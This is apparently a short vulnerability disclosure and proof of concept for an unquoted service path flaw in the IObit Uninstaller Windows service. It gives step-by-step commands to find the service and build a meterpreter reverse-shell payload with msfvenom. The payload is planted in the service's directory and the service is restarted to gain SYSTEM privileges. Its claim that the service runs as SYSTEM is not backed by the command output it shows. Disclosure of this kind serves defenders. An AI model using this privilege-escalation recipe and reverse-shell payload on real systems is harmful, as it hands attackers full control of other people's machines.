About Unquoted Service Path :

When a service is created whose executable path contains spaces and isn't enclosed within quotes,
leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
(only if the vulnerable service is running with SYSTEM privilege level which most of the time it is).

Steps to recreate :

1. Open CMD and Check for USP vulnerability by typing [ wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ ]
2. The Vulnerable Service would Show up.
3. Check the Service Permissions by typing [ sc qc IObitUnSvr ]
4. The command would return..

C:\>sc qc IObitUnSvr
[SC] QueryServiceConfig SUCCESS
BINARY_PATH_NAME : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
TAG : 0
DISPLAY_NAME : IObit Uninstaller Service

5. This concludes that the service is running as SYSTEM. "Highest privilege in a machine"
6. Now create a Payload with msfvenom or other tools and name it to IObit.exe
7. Make sure you have write Permissions to "C:\Program Files (x86)\IObit" directory.
8. Provided that you have right permissions, Drop the IObit.exe executable you created into the "C:\Program Files (x86)\IObit" Directory.
9. Now restart the IObit Uninstaller service by giving coommand [ sc stop IObitUnSvr ] followed by [ sc start IObitUnSvr ]
10. If your payload is created with msfvenom, quickly migrate to a different process. [Any process since you have the SYSTEM Privilege].

During my testing :

Payload : msfvenom -p windows/meterpreter/reverse_tcp -f exe -o IObit.exe
Migrate : meterpreter> run post/windows/manage/migrate [To migrate into a different Process ]
